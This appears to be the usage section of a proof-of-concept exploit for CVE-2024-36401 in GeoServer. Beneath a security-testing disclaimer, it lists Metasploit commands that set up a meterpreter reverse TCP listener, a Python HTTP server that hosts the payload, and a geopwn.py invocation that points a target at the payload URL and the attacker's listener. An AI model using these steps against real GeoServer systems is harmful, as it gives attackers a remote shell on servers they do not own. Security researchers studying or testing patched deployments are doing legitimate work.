
Proof-of-Concept Exploit for CVE-2024-36401 GeoServer 2.25.1
Proof-of-Concept Exploit for CVE-2024-36401 GeoServer
Vulnerable Versions of GeoServer are prior to 2.23.6 | 2.24.4 | 2.25.2
!!! FOR SECURITY TESTING PURPOSES ONLY !!!
******************************************************
DO NOT USE THIS ON SYSTEMS THAT YOU DO NOT
OWN UNLESS YOU HAVE EXPRESS PERMISSION !!!
To run...
msf6 > use exploit/multi/handler
msf6 > exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
msf6 > exploit(multi/handler) > set LHOST 10.10.10.1 <--(set to your IP)
msf6 > exploit(multi/handler) > set LPORT 1234 <--(you can leave default, or change to your preference)
msf6 > exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.10.1:1234
hacker@kali~> python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
hacker@kali~> python3 ./geopwn.py <target_domain_or_IP> <payload_URL> <LHOST> <LPORT>